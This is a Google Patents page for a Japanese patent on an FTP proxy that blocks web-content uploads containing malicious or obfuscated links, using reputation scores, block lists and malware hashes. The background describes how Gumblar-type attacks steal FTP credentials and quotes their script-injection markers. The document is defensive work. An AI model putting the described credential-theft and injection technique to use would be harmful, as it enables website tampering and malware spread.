JP5749053B2 - ファイルのアップロード遮断システム及びファイルのアップロード遮断方法 - Google Patents

ファイルのアップロード遮断システム及びファイルのアップロード遮断方法 Download PDF

Info

Publication number
JP5749053B2
JP5749053B2 JP2011073024A JP2011073024A JP5749053B2 JP 5749053 B2 JP5749053 B2 JP 5749053B2 JP 2011073024 A JP2011073024 A JP 2011073024A JP 2011073024 A JP2011073024 A JP 2011073024A JP 5749053 B2 JP5749053 B2 JP 5749053B2
Authority
JP
Japan
Prior art keywords
url
file
ftp
server
information
Prior art date
Legal status (The legal status is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the status listed.)
Active
Application number
JP2011073024A
Other languages
English (en)
Other versions
JP2011227884A (ja
Inventor
一憲 安藤
一憲 安藤
憲一 杉原
憲一 杉原
Original Assignee
株式会社ブロードバンドセキュリティ
Priority date (The priority date is an assumption and is not a legal conclusion. Google has not performed a legal analysis and makes no representation as to the accuracy of the date listed.)
Filing date
Publication date
Application filed by 株式会社ブロードバンドセキュリティ filed Critical 株式会社ブロードバンドセキュリティ
Priority to JP2011073024A priority Critical patent/JP5749053B2/ja
Publication of JP2011227884A publication Critical patent/JP2011227884A/ja
Application granted granted Critical
Publication of JP5749053B2 publication Critical patent/JP5749053B2/ja
Active legal-status Critical Current
Anticipated expiration legal-status Critical

Links

Images

Landscapes

  • Information Transfer Between Computers (AREA)
  • Computer And Data Communications (AREA)

Description

本発明は、コンピュータネットワークにおけるファイルのアップロード遮断システム及びファイルのアップロード遮断方法に係り、特にウェブ(Web)コンテンツあるいは設定ファイルとしてFTPでアップロードされる際に、悪質なURL/リンクを検知し、ウェブコンテンツの改ざんを防止するコンピュータネットワークにおけるファイルのアップロード遮断システム及びファイルのアップロード遮断方法に関する。
一般に、メール等のメッセージに対し、ウィルス(パターン)をゲートウエイ等で走査して、ウィルス(パターン)の存在に依存してデータ処理動作を指定し、ウィルス検出を行い、ウィルスを選択的に除去する技術が知られている(例えば、特許文献1、2)。
特開2008−171415号公報 特開2005−135024号公報
これらの特許文献は、メール本文等のメッセージ内に含まれる文字列を解析して特定パターンを検出した場合に、データの転送を中止或いは中断する技術である。
本明細書において、「リンク」、「リダイレクト」、「不正サイト」、「不正リンク」、「不正ファイル」、「リバースProxy」、「ホワイトリスト(WL)」、「ブラックリスト(BL)」、「マルウェア(Malware)」は、以下の意味で使用する。
「リンク」とは、ハイパーテキストにおいてドキュメントを結びつける役割を担う「参照」を意味する。ウェブ(Web)ブラウザは、リンクをたどることで、設定されたページやファイルに移動できる。HTMLでは<a href=url>の形式で指定される。
「リダイレクト」とは、HTTP ステータスコードの「3xx Redirection」で定義される機能である。代表的なものとして「301 Moved Permanently」や「302 Moved Temporarily」がある。
リダイレクトの定義は、httpd.confや.htaccessなどの設定ファイルで行われるため、コンテンツ自体には含まれない。
「不正サイト」とは、何らかの悪意を持つ者が作成したウェブ(Web)サイトをいう。
「不正リンク」とは、不正サイトへの誘導を行うリンクをいう。
「不正ファイル」とは、何らかの悪意を持つ者が作成したファイルをいう。コンテンツや設定ファイルなどを含む。
「リバースProxy」とは、特定のサーバの代理としてそのサーバへの要求を中継するProxyサーバをいう。代行されているサーバにアクセスしようとしたユーザは全てリバースProxyを経由することになるため、サーバが直接アクセスを受けることはなくなる。
「ホワイトリスト(WL)」とは、信頼できると判断されたURL,IPアドレス、FQDN、メールアドレスなどの一覧表をいう。
「ブラックリスト(BL)」とは、悪質なものと判断されたURL,IPアドレス、FQDN、メールアドレスなどの一覧表をいう。
「マルウェア(Malware)」とは、不正かつ有害な動作を行う意図で作成された悪意のあるソフトウェアや悪質なコードの総称をいう。
最近、ウェブサイトを改ざんしてコンテンツの中に感染用のコード(別サイトへのリンクなど)を埋め込むウィルスが流行している(例えばGumblar:ガンブラー)。これらは、例えばJavaScript(登録商標、以下同じ)でURLを偽造し、さらに難読化されており、パターンが多数あるため、従来技術で示した特許文献1等のパターンマッチングでは検知することは非常に困難である。なお、難読化とは、JavaScriptが内容を理解しにくいように加工されていることであり、unescapeやreplaceなどのJavaScriptの関数を使って難読化している場合、見た目ではプログラムの内容を把握することが困難である。
ここで、Gumblar(ガンブラー)とは、攻撃元のURLからの「Gumblar」と呼ばれるドライブバイダウンロード攻撃の一種であり、求めるサイトと異なる別サイトである不正サイトに誘導し、不正サイトに誘導されたFTPクライアント(ユーザ端末)等のコンピュータ(PC)は、誘導先に存在するAdobe Reader(登録商標)やJava(登録商標)、Windows(登録商標)の脆弱性を突いたマルウェアに感染する。つまり、悪質なサイトへのリンクを張って増殖する。感染したFTPクライアント(ユーザ端末)PCからFTPのアカウント,パスワードを盗み、ウェブサイトを改ざんする。このようなGumblar(ガンブラー)は、事前に検知することが難しく、感染した後に発見、検出されることが一般的である。
より詳しく述べると、日本での最初の感染が「通販サイトのGENO」だったため、「GENO」と呼ばれる(Gumblar=GENO)こともあり、2009年4〜5月頃から話題になった。
改竄されたサイトに誘導コード(マルウェアに感染させるための別サイトへのリンクを含むスクリプト)が埋め込まれており、改竄されたサイトにアクセスした場合、別サイトへ誘導される。別サイトには実行ファイル、PDF(PortableDocumentFormat,ISO32000−1/国際規格)、Adobe Flash(登録商標)などの脆弱性を突くファイル(マルウェア)が存在し、アクセスしたマシン上で実行されることでマルウェアに感染する仕組みである。マルウェアの形態はプログラムとは限らず、悪意のあるスクリプトを内包したPDFファイルだったりする。
Gumblar(ガンブラー)には、亜種が存在し、2009年10〜11月頃から話題になったGumblar.X、2009年12月頃から話題になった8080が知られている。「8080」の由来は、ウィルス設置サイトへアクセスする際のポートが8080であったためとされている。この「8080」は、「GNU GPL」「LGPL」と呼ばれることもあり、改竄部分の先頭に、
<script>/*GNU GPL*/
<script>/*CODE1*/
<script>/*LGPL*/
という表記があることが知られている。
この「8080」の別名の由来は、上記から始まる難読化(元の文字列を判読できないように変換する処理)したスクリプトが埋め込まれているためであり、「Pegel(ピーゲル)」と呼ばれることもある。これらの亜種であっても感染の仕組み自体は、上述の「Gumblar」と同様である。
つまり、従来技術では、コンテンツ内にウィルスが存在する場合には、有効に作動するが、上記のようなGumblar(ガンブラー)で代表される不正サイトを介したウィルスに対しては、有効ではなかったという問題があった。
本発明の目的は、ウェブコンテンツの改ざんを防止するために、ファイルのアップロード遮断システム及びファイルのアップロード遮断方法を提供することにある。
より詳しくは、ファイル中に含まれるURL群の評価(信用度)に基づいて、マルウェア等の存在を指すような悪質なURL/リンクを検知し、そのファイルのウェブ(Web)への公開を阻止することで、ウェブ(Web)コンテンツのリンクを辿った閲覧ユーザに発生する二次被害を防ぐことが可能なファイルのアップロード遮断システム及びファイルのアップロード遮断方法の提供を目的とする。
前記課題は、本発明のファイルのアップロード遮断システムによれば、ウェブサーバにファイルをアップロードするためのFTPサーバと、該FTPサーバと接続されたFTPプロキシサーバと、該FTPプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備えた、ファイルのアップロード遮断システムであって、前記FTPプロキシサーバは、前記FTPサーバと前記クライアントコンピュータの間に配設され、前記FTPサーバにアップロードされるファイルの内容の不正をチェックするもので、CPUと、少なくとも前記ファイルを送信する出入力手段と、URL抽出手段と、判定手段と、ファイル毎のURLを格納するURL格納手段と、リンク先のサイト名もしくはIPアドレスに対する信頼度を示すレピュテーション手段とを有し、前記FTPプロキシサーバの前記判定手段は、ファイルのウェブサーバへのアップロードの可否を判定するものであって、前記URL格納手段と、少なくとも前記レピュテーション手段と接続され、前記判定手段は、前記URL抽出手段により、アップロードされるファイルに含まれるURLを取得し、該取得したURLに含まれる情報と、少なくとも前記レピュテーション手段を参照して、前記取得したURLの信頼度情報を得て、該信頼度情報をもとにファイルのウェブサーバへのアップロードの可否を判定すること、により解決される。
このとき、前記FTPプロキシサーバは通常読解できないスクリプトを復号する処理を含み、前記URLに含まれる情報は、前記ファイル中における通常読解できないスクリプトを復号する処理で得られたURLの情報、符号化されたURL文字列を復号する処理で得られた情報、復号されたURL文字列を分解する処理で得られた情報、前記分解された情報に基づいてホスト名,ポート番号,パス名からなる文字列を生成する処理で得られた情報、前記ホスト名に基づいてIPアドレスを取得する処理で得られた情報のうち少なくとも一つを含むように構成すると好適である。
また前記ファイルのアップロード遮断システムは、さらに電子指紋計算手段と、マルウェア判定手段と、マルウェアの電子指紋が蓄積された電子指紋蓄積手段と、を備え、アップロードされるファイルの電子指紋と、前記電子指紋蓄積手段を対比し、マルウェアを検知するように構成するとよい。
このように構成すると、「マルウェアへのリンクを含むファイル」だけではなく「マルウェア自体」のアップロードを防ぐ機能を付加することとなり、より確実に遮断が可能となる。
さらに、前記判定手段は、前記URL格納手段に格納されたURLに対して定期的に信頼度を検査し、公開に足る信頼度を持つかどうかを判定して、前記URLが書き換えられるように構成すると、より好適である。このように構成することにより、URL格納データベースを定期的に再審査する機能を付加させることが可能となる。
また、レピュテーション手段は、前記FTPプロキシサーバとネットワークで接続された外部に設けられているものを用いることが可能である。このようにすることにより、外部のレピュテーション手段を用いることが可能となり、システム内に自ら構築する必要がなくなる。
前記課題は、本発明のファイルのアップロード遮断方法によれば、ウェブサーバにファイルをアップロードするためのFTPサーバと、該FTPサーバと接続されたFTPプロキシサーバと、該FTPプロキシサーバと接続されたコンピュータネットワークと、該コンピュータネットワークを介して接続されたクライアントコンピュータと、を備え前記FTPサーバと前記クライアントコンピュータの間に配設され、前記FTPサーバにアップロードされるファイルの内容の不正をチェックするシステムにおけるファイルのアップロード遮断方法であって、アップロードされるファイルに含まれるURL情報を取得するURL情報取得工程と、前記URL情報取得工程で取得したURL情報と、該URL情報のリンク先のサイト名もしくはIPアドレスに対する信頼度を格納したレピュテーション手段、ブラックリスト格納手段、ホワイトリスト格納手段の少なくとも一つ以上を参照し判定する参照判定工程と、前記参照判定工程に基づくURLの信頼度情報をもとにそのファイルのウェブサーバへのアップロードの可否を判定する判定工程と、を備えていること、により解決される。
このとき、前記URL情報取得工程では、前記ファイル中における通常読解できないスクリプトを復号する処理、符号化されたURL文字列を復号する処理、復号されたURL文字列を分解する処理、前記分解された情報に基づいてホスト名,ポート番号,パス名からなる文字列を生成する処理、前記ホスト名に基づいてIPアドレスを取得する処理のうち少なくとも一つの処理がなされると好適である。
また前記ファイルのアップロード遮断方法は、前記アップロードされるファイルの電子指紋を取得し、マルウェアの電子指紋が蓄積された電子指紋蓄積データベースを検索することで、マルウェアを検知しアップロードの可否を判定するように構成することができる。
さらに、前記URL情報取得工程で得られたファイル毎のURLを記録しておくためのURL格納手段への書込み工程と、前記URL格納手段に格納されたURLに対して定期的に信頼度を検査し、再度公開に足る信頼度を持つかどうかを判定する再審査の工程と、を備えるように構成すると好適である。
また、リンク先のサイト名もしくはIPアドレスに対する信頼度の取得を前記FTPプロキシサーバと接続された外部のレピュテーション手段から取得するように構成することができる。
本発明によれば、不正ファイルのアップデートを即時に検知・除外できる。つまり、FTPサーバとFTPクライアントコンピュータ(ユーザ端末)の間にFTPプロキシサーバを設置し、FTPクライアントコンピュータ(ユーザ端末)からFTPサーバにファイルを置く前にチェックし不正ファイルを除外できるので、従来の改竄検知サービスのように、アップロードされた後に異常を検知するものではなく、本発明のシステム及び方法では事前にマルウェア等を除外し、不正ファイルのアップロードを防ぐことが可能となる。
また、改竄元の確認が容易となる。そして、不正ファイルを検知したときに、指定されたメールアドレスに検知内容を送付することができる。検知内容には、検知日時、該当するFTP ID、対象ファイル、FTPでアップロードしようとしたIPアドレスが含まれ、影響範囲の確定や事後の対応に役立つ。
さらに、コンテンツ以外のファイルも検査可能となる。つまり、HTTPを利用し、ウェブ(Web)ブラウザと同様にクローリングする改竄検知サービスでは存在を確認できない設定ファイルや他のコンテンツからのリンクがない独立したコンテンツのチェックが可能となる。また、クローリング型で問題になるログイン認証を伴うページについても、ファイルとして一律に検査できるので、検査漏れが発生しない。
さらに、低負荷なものとなる。つまり、本発明のシステム及び方法ではFTPでアップロードしたファイルのみをチェックする。このため、クローリングなどで全件検査するシステムとは異なり、検査が必要なファイルのみをチェックするため、サーバに不要な負荷をかけない。
本発明を適用したシステムの全体構成図である。 本発明を簡略して示す概念説明図である。 本発明のファイルのアップロード遮断システムを示す概念説明図である。 FTPプロキシサーバのハード構成の一部を示す説明図である。 本発明に係るファイルのアップロード遮断システムの機能連携を示す説明図である。 本発明に係るファイルのアップロード遮断システムの通信フローを示す関係図である。 本発明に係るファイルのアップロード遮断システムを説明する全体図である。 判定エンジンとURL格納データベースとの対応関係を示すブロック図である。 マルウェア検知が無い場合のフローチャートである。 マルウェア検知が有る場合のフローチャートである。
以下、本発明の一実施形態を図面に基づいて説明する。なお、以下に説明する部材,配置等は本発明を限定するものでなく、本発明の趣旨の範囲内で種々改変することができるものである。
図1乃至図10は、本発明を示すものであり、図1はシステムの全体構成図、図2は簡略して示す概念説明図、図3はファイルのアップロード遮断システムを示す概念説明、図4はFTPプロキシサーバのハード構成の一部を示す説明図、図5はファイルのアップロード遮断システムの機能連携を示す説明図、図6はファイルのアップロード遮断システムの通信フローを示す関係図、図7はファイルのアップロード遮断システムを説明する全体図、図8は判定エンジンとURL格納データベースとの対応関係を示すブロック図、図9はマルウェア検知が無い場合のフローチャート、図10はマルウェア検知が有る場合のフローチャートである。
本発明の概略は、ウェブ(Web)コンテンツの改ざんを防止するためのシステム及び方法であり、いわばリンクのスクリーニングシステム及びリンクのスクリーニング方法でもあり、ウェブ(Web)サーバの入口で阻止し、未然に感染を防ぐシステム及び方法である。本発明は、要するにアプライアンス型のFTP中継・フィルタシステム及び方法である。本発明は、アップ時のチェックと、既にアップされているページのチェックの両方を行なえるシステム及び方法である。
つまり、図2で示すように、アップ時のチェックシステム及び方法としては、クライアント側のFTPクライアントコンピュータ(ユーザ端末20:PC)とウェブ(Web)サーバ(FTPサーバ10)の間に、不正を検出するために本発明のシステムや方法を介在させる。そして、図3で示すように、ユーザが、FTPクライアントコンピュータ(ユーザ端末)20からウェブ(Web)サーバ(FTPサーバ)10にコンテンツをアップしようとするときに、その内容をチェックする。コンテンツ、リンクを解析し、問題があった場合にはアップロードを遮断する。そして、問題のないファイルのみをFTPサーバ10へ転送する。また、システム管理者へ通知する。このとき、どこから送られてきたのか(改ざん元)も特定できる。JavaScript(登録商標)でURLを偽造している場合、一般に、難読化(通常読解できない)されており、パターンが多数有りパターンマッチングでは検知できないため、解析(解読)を行って、この解析により、URLを検出する。また、レピュテーションサービス(自ら構成或いは第三者が提供:データベースが高品質)を用いて、リンク先(IPアドレス)の信頼度をチェックし、信頼度が低いと判断された場合には、アップロードを遮断するものである。
一方、既にアップされているページのチェック方法としては、既にアップロードされているページの信頼度のチェックを行うように構成している。例えば、アップロードのときにリンク情報をデータベースに蓄積し、そのデータベースを用いて定期的にチェックする。これにより、DNSが変わってリンク情報がすりかえられることがあっても、対応することが可能となる。
本発明のシステム及び方法は、基本構成では1日あたり3万件以下のFTPによるファイルアップロードが可能である(1ファイルあたり平均100Kbyte以下を想定)。
本発明のシステム及び方法では、FTPクライアントコンピュータ(ユーザ端末)20の認証情報を有せず、認証の制御はFTPサーバ10が行なうもので、FTPクライアントコンピュータ(ユーザ端末)20がファイルをアップロードする場合のみ、ファイル検査を行い、FTPサーバ10へのアップロードを実行するか否かを制御するものである。
以下、詳細に説明する。図1は、本発明のファイルのアップロード遮断システム及びファイルのアップロード遮断方法が利用されるシステムの全体構成図の一例を示すものであり、図示されているように、ファイルのアップロード遮断システムSは、アプライアンス型のシステムであり、FTPサーバ10と、それを利用するクライアント側のFTPクライアントコンピュータ(ユーザ端末)20の間に、アプライアンス型のFTPプロキシサーバ30を設置し、各FTP(FTPサーバ10、FTPクライアントコンピュータ20)でのファイル転送を中継する。また、本実施形態では、システム管理者用コンピュータ40、顧客管理システム用コンピュータ50を備えている。
また、複数のクライアント側のFTPクライアントコンピュータ(ユーザ端末)20は、ネットワークとしてインターネット60と接続されている。
本実施形態のFTPサーバ10は、ファイルシステム(OSがファイルを管理し、データを読み書きできるようにするための仕組:例としてNTFS、FAT,HFS,ext2、ext3など)をウェブ(Web)サーバと共有し、WWWコンテンツの公開先としてファイルをアップロードすることが可能に構成されている。
実際の適用においては、対象FTPサーバ(FTPサーバ10)の指定をするが、対象とするFTPサーバ10は独自に定義する。FTP IDのサフィックスごと、または接続を受け付けるIPアドレスごとに対象FTPサーバを指定することが可能である。
この対象とするFTPサーバ10の指定は、開始時に、ICDの設定ファイルにて指定する。ドメインごとに対応するFTPサーバを指定できる。
クライアント側のFTPクライアントコンピュータ(ユーザ端末)20は、URLを取得してファイルを作成及び送受信する機能を持つソフトウェアを備えており、このクライアント側のFTPクライアントコンピュータ(ユーザ端末)20は、FTPサーバ10と、FTPプロキシサーバ30を介して接続される構成となっている。つまり、クライアント側のFTPクライアントコンピュータ(ユーザ端末)20は、直接FTPサーバ10と接続されず、FTPプロキシサーバ30を介して接続される構成となっている。
本発明のファイルのアップロード遮断システム及び方法は、1ユニットのアプライアンスサーバ(特定の用途向けに設計・開発されたサーバ)としてのFTPプロシキサーバ30に実装されており、図1乃至図3で示すように、FTPプロキシサーバ30は、FTPサーバ10とクライアント側のFTPクライアントコンピュータ20の間に設置し、中継時にGumblar(ガンブラー)などの不正サイトへの誘導(リンクやリダイレクト)を検出し、クライアント側のFTPクライアントコンピュータ20からFTPサーバ10にファイルを置く前にチェックし不正ファイルを除外する。
なお、FTPプロキシサーバ30は、FTPのリバースProxyとして動作する。このため、FTPサーバ10の代わりに、クライアント側のFTPクライアントコンピュータ20からのFTP接続を受け付けるため、FTPサーバ10のIPアドレスを変更したり、FireWallなどでアドレス変換を行っておく。
FTPプロキシサーバ30は、クライアント側のFTPクライアントコンピュータ20からのFTP接続を対象FTPサーバ(本例ではFTPサーバ10)の代わりに受け付けるため、通常は対象FTPサーバ(本例ではFTPサーバ10)の前段に設置する。そして、通常は対象FTPサーバが設置されているネットワークに設置する。
このFTPプロシキサーバ30には、図4及び図5で示すように、CPU31と、このCPU31に内蔵し、或いは不図示の記憶装置(HDD,メモリ)に設けられたURL抽出手段としてのURL抽出エンジン32、判定手段としての判定エンジン33、電子指紋計算手段としての電子指紋計算エンジン34、マルウェア判定手段としてのマルウェア判定エンジン35と、URL格納手段としてのURL格納データベースDB1と、レピュテーション手段としてのレピュテーションデータベースDB2と、電子指紋蓄積手段としてのマルウェアの電子指紋データベースDB3と、ブラックリスト格納手段としてのブラックリストデータベースBLと、ホワイトリスト格納手段としてのホワイトリストデータベースWLと、を備えている。
そして、CPU31は、不図示の入出力手段(I/Oインターフェースを含む)を介して入力側36と出力側37と接続されており、これら入力側36と出力側37からの情報等と、上記URL抽出エンジン32,判定エンジン33,電子指紋計算エンジン34,マルウェア判定エンジン35と、URL格納データベースDB1,レピュテーションデータベースDB2,マルウェアの電子指紋データベースDB3,ブラックリストデータベースBL,ホワイトリストデータベースWLと、を制御及び演算して、ファイルのアップロード遮断システム及び方法を制御しているものである。
FTPプロキシサーバは通常読解できないスクリプトを復号する処理を含んでおり、URLに含まれる情報は、ファイル中における通常読解できないスクリプトを復号する処理で得られたURLの情報、符号化されたURL文字列を復号する処理で得られた情報、復号されたURL文字列を分解する処理で得られた情報、前記分解された情報に基づいてホスト名,ポート番号,パス名からなる文字列を生成する処理で得られた情報、前記ホスト名に基づいてIPアドレスを取得する処理で得られた情報などであり、URL格納データベースDB1は、図4及び図5で示すように、判定エンジン33を介してURL抽出エンジン32と接続されており、URL抽出エンジン32によって抽出されたURLを、判定エンジン33によって判定し、判定されたものを格納する。つまり、判定エンジン33には、URL格納データベースDB1が接続され、このURL格納データベースDB1と前述したURL抽出エンジン32によって抽出されたURLとを対比するように構成されている。
判定エンジン33は、URL抽出エンジン32によって抽出されたデータを受け取り判定するものであるが、レピュテーションデータベースDB2と、ホワイトリストデータベースWLと、ブラックリストデータベースBLを参照して、マルウェア等の有無を判定するものである。
レピュテーションデータベースDB2は、判定エンジン33で判定対象となったリンク先のサイト名もしくはIPアドレスに対する信頼度を示すレピュテーション値が格納されている。
基本機能として、検出する場合に、ホワイトリストデータベースWL・ブラックリストデータベースBL以外に、レピュテーションデータベースDB2を用いた照合を行う。転送先が信用度の低いネットワークに存在する場合、不正なアップロードと判断する。
本実施形態では、より具体的に説明すると、URLのFQDN部分をDNS解決して得られるIPアドレスに対して、レピュテーション検査を実施する。レピュテーションデータベースDB2にアクセス(問い合わせを行なう)するときには、判定エンジン33は、IPアドレスに変換して、レピュテーション判定用常駐プログラムで行なう。検査(判定)の結果は、閾値として、A.悪い評判は無い(known)、B.疑わしい評判(suspect)、C.評判が悪い(poor)の3段階に分別される。標準設定では、レピュテーションによる判定結果のうち、poor(C)とsuspect(B)に該当したIPアドレスをNGとしている。なお、NGの条件をpoor(C)だけにすることも可能である。本実施形態では、レピュテーションの閾値設定はFTPサーバ単位で行っており、レピュテーション検査の実施はFTPアカウント単位に設定している。なお、DNS解決されない場合はレピュテーションの対象から除外され、NGと同じ扱いとしている。
上述のようにして、レピュテーションの結果が、OKとなったファイルはFTPサーバにアップロードし、NGとなったファイルは、FTPサーバにアップロードすることを保留して次ステップのホワイトリスト照合を行い、判定される。なお、本システムではレピュテーションデータベースDB2を外部のレピュテーションDBサーバから定期的にレピュテーション情報を取得して最新のデータとし、これを基に判定している。
例えば、外部データベースであるCloudmark社のReputation データベースによりリンク先の信頼度を分析することが可能である。このCloudmark社のReputation データベースは、本願出願時点で、世界で1億3,000万人が利用する最大規模のSNSサイトでも採用されているものであり、Cloudmark社のIPレピュテーションサービス「Cloudmark Sender Intelligence (以下 CSI)」を用いて、リンクURLの信頼度を分析する。
CSIは、全世界で10億人を超すCloudmarkユーザコミュニティからのトラフィック・パターン、フィンガープリント、フィードバック情報などによりリアルタイムで更新され、これらの相関を解析、レピュテーションスコアをリアルタイムに算出する。分析の結果、信頼度が低いと判断されたサイトへのリンクを含むコンテンツは、アップロードをブロックする。
ホワイトリストデータベースWLには、予め信頼できると判断されたURL,IPアドレス,FQDN,メールアドレスなどを登録するが、順次取得して信頼できると判断されたURL,IPアドレス,FQDN,メールアドレスなどを予め登録し、或いは追加して登録しておくものである。
なお、本システムの開始時に、ホワイトリストデータベースWL(ホワイトリスト)の参照先定義は、顧客全体で同一に指定する。ホワイトリストデータベースWL(ホワイトリスト)の参照先は本システムの設定ファイルにて指定する。
開始時ではなく、拡張時においてのホワイトリストデータベースWL(ホワイトリスト)の参照先定義は、機能追加時に行うもので、エンドユーザごとにホワイトリストデータベースWL(ホワイトリスト)を定義できる。エンドユーザごとのホワイトリストデータベースWL(ホワイトリスト)は顧客側のLDAPサーバのアトリビュートで定義され、本システムはそれを参照する。アトリビュートは本システムの設定ファイルにて指定するように構成されている。
より具体的には、上記設定に該当するURLの含まれたファイルは、FTPサーバ10にアップロードする。このとき、トップドメイン、FQDN等の半角英数字にて定義する。本実施形態では、無効な設定、または未定義の場合は処理されないように構成されている。また、ホワイトリストデータベースWL(ホワイトリスト)はFTPクライアント単位で設定するようにしている。
ブラックリストデータベースBLには、悪質なものと判断されたURL,IPアドレス,FQDNなどを登録するが、順次取得して悪質なものと判断されたURL,IPアドレス,FQDNなどを登録する。
具体的には、上記設定に該当するURLの含まれたファイルはFTPサーバにアップロードしない。このとき、トップドメイン、FQDN等の半角英数字にて定義する。本実施形態では無効な設定、または未定義の場合は処理されないように構成されている。またブラックリストデータベースBL(ブラックリスト)はFTPクライアント単位で設定するようにしている。
本発明で使用するホワイトリストデータベースWL及びブラックリストデータベースBLは、独自に構築するものであり、システム全体または対象FTPサーバごとに、同一のホワイトリストデータベースを使用し、システム全体または対象FTPサーバごとに、同一のブラックリストデータベースを使用する。また、判定エンジン33は、ホワイトリストデータベースWL及びブラックリストデータベースBLへは、URLとして問い合わせを行なう。
本実施形態のシステムの基幹部分は、FTPサーバでファイルがアップロードされた時点で、コンテンツに含まれるリンク先に問題があるかどうかをチェックするものであるが、実際には既にアップロードされているコンテンツに含まれるリンク先に、後から改竄等の問題が発生することも考えられる。
そこで図8で示すように、「既にアップロードされたコンテンツ」について、そこに含まれるリンクの参照先に問題が発生していないかどうかを、常に更新され続けているレピュテーションデータベースDB2のレピュテーションデータを使用して定期的にチェックし、信用度がしきい値を下回るURLを発見し通知する仕組みを備えている。つまり、図8で示すように、外部データベースDBであるCloudmark社のReputation データベース、レピュテーションデータベースDB2を利用している。この利用は、CPU31の制御のもとで入力側36からインターネット60を介して接続されるように構成されている。
また、本実施形態では、電子指紋計算手段としての電子指紋計算エンジン34によって、電子指紋を取得するが、電子指紋計算は、ハッシュ値を取得して行なう。
ハッシュ値とは、任意の長さのデータを固定長のデータに投影するハッシュ関数を用いて計算される固定長のデータを指すものである。ハッシュ関数の種類によって、得られるハッシュ値のデータ長は異なる。
本例では、160bitのハッシュ値が得られるSHA1と称するハッシュ関数を用いている。ハッシュ関数としては、上記SHA1の他に、MD5(128bit)、RIPEMD(160bit)、SHA256(256bit)、SHA512(512bit)などがあるが、本例ではSHA1を用いている。ファイル各部の特徴を捉える多値複合型の電子指紋も用いることができる。
ハッシュ関数を使った場合、データの内容が1バイトでも異なると、全く別のハッシュ値が生成される。このため、ハッシュ値が同一であれば同一のデータであることが判明し、ハッシュ値が異なれば別の内容であると判定することができる。
次に、本実施形態において、図6に示す通信フローを示す関係図に基づいて説明する。図6では、認証の場合、転送OKの場合、転送NGの場合についての通信フローである。
○認証:FTPプロキシサーバ30がFTPクライアント20から認証手続きを受け付けると、FTPアカウントIDの問い合わせをデータベースサーバに行なう。そして、FTPプロキシサーバ30は、FTPアカウントIDのサービス要件回答を得ると、FTPサーバ10に認証手続きを行なう。FTPサーバ10は認証の許可或いは失敗について、FTPプロキシサーバ30に返し、FTPプロキシサーバ30は、FTPクライアント20に、FTPサーバ10からの認証の許可或いは失敗について、通知する。
○転送OK:FTPクライアント20からファイルアップロードをFTPサーバ10に行なう場合、先ずはFTPプロキシサーバ30でファイルを受け取り、ファイル検査を行なう。そして、不正リンクやマルウェア等の未検出時には、FTPサーバ20にファイルアップロードを行なう。FTPサーバ10でアップロードが完了した場合、その旨の通知がFTPプロキシサーバ30に返され、FTPプロキシサーバ30ではFTPクライアント20に、アップロード完了の通知を行なう。
○転送NG:FTPプロキシサーバ30でファイルを受け取り、ファイル検査を行なう。不正リンクやマルウェア等を検出したときには、FTPプロキシサーバ30はSMTPサーバを介して、システム管理者用コンピュータ40にメールを送付し、同時にSMTPサーバを介して、FTPクライアント20にメールを送付する。
このように、検出結果メールは、出力側37からシステム管理者(システム管理者用コンピュータ40)及びFTPクライアント20に送付するように構成している。特に本実施形態では、FTPクライアント20に送付しているが、この場合には、LDAPを用い顧客管理システムと連携、アカウントに対応するメールアドレスを取得し、エンドユーザであるFTPクライアント(ユーザ端末)20に検出結果メールを送付するようにしている。
本実施形態では、ログ出力について、リバースFTP Proxyのログをsyslogプロトコルにより出力側37から外部に送出可能としている。つまり、FTPの中継やチェック、アップロードの除外に関するログ(動作ログ)をsyslog形式で外部のサーバに送付できる。
次に、本発明のシステム及び方法において、システム連携について、簡単に説明する。
顧客システムとの連携は、開始時において、顧客側のLDAPサーバと連携することができる。当初の連携項目はエンドユーザへのメール通知を行うためのメールアドレスの取得である。
また顧客システムとの連携は、開始後の機能追加時において、顧客側のLDAPサーバとの連携項目に、次の項目を追加することが可能である。
・エンドユーザごとのホワイトリスト
・エンドユーザごとの接続可能なIPアドレス
・エンドユーザごとのアップロード可能なファイル種別
・エンドユーザごとのJavaScriptのアップロード可否
さらに、顧客システムとの連携は、開始後の機能追加時において、LDAP以外への連携としては、Oracle(登録商標)、PostgreSQL(登録商標)、MySQL(登録商標)などが可能である。
次に、マルウェア(Malware:不正かつ有害な動作を行う意図で作成された悪意のあるソフトウェアや悪質なコードの総称)検知の無い場合と検知した場合について、図9と図10で示すフローチャートを用いて説明する。
コンテンツの検査は、FTPプロトコルによりコンテンツや設定ファイル(.htaccessなど)がアップロードされるときに不正コンテンツか判断する。不正コンテンツと判定したときにはコンテンツのアップロードを行わず、クライアント側にはエラーメッセージを返す。なお、コンテンツ検査のタイミングは、開始時以降、リアルタイム(FTPプロトコルによりコンテンツがアップロードされるときに調査する)である。
本実施形態において、チェック対象からの除外する場合について述べる。開始時において、エンドユーザごとにアップロード時のチェックを行うか否か、定義することも可能である。エンドユーザごとのチェックの可否は顧客側のLDAPサーバのアトリビュートで定義され、ICDはそれを参照する。アトリビュートはICDの設定ファイルにて指定する。
(結果通知)本実施形態では、不正ファイルと判定しアップロードの中止を行った場合、結果をメールにて顧客側の管理者とエンドユーザに通知する。つまり、図6及び図7で示すように、SMTPサーバからFTPクライアントへメールで通知することができる(図6の転送NGを参照)。なお顧客側の管理者のメールアドレスは独自に定義する。
エンドユーザへの通知は、FTP IDに対応するエンドユーザのメールアドレスが顧客側システムから取得可能な場合、対応できる(システム連携はLDAPを想定)。
(不正コンテンツ発見後の動作)
本実施形態では、不正ファイルと判定しアップロードの中止を行った場合、FTP接続を中断する。その後のFTP接続を一定期間許可しないことも可能である。
(チェック対象からの除外)
本実施形態では、FTP IDごとのチェック実行/除外に関する定義を顧客側システムから取得可能な場合、アップロード時の検査から除外できる(システム連携はLDAPを想定)。
(FTP接続元のIPアドレスの制限)
本実施形態では、 FTP IDごとに、FTP接続に関するIPアドレスによるアクセスリストを顧客側システムから取得可能な場合、本システムのアクセスリストとして使用することが可能である(システム連携はLDAPを想定)。
マルウェア等の検出としては、例として、以下のような検出が可能である。
(不正なURL転送の検出の場合)
想定しないURLに転送(リンク)されているか検査する。
ホワイトリストデータベース・ブラックリストデータベースと照合し、本来のファイルには存在しないはずのリンクを検知し、FTPでのアップロードから除外する。アップロードから除外した場合、メールで通知する。
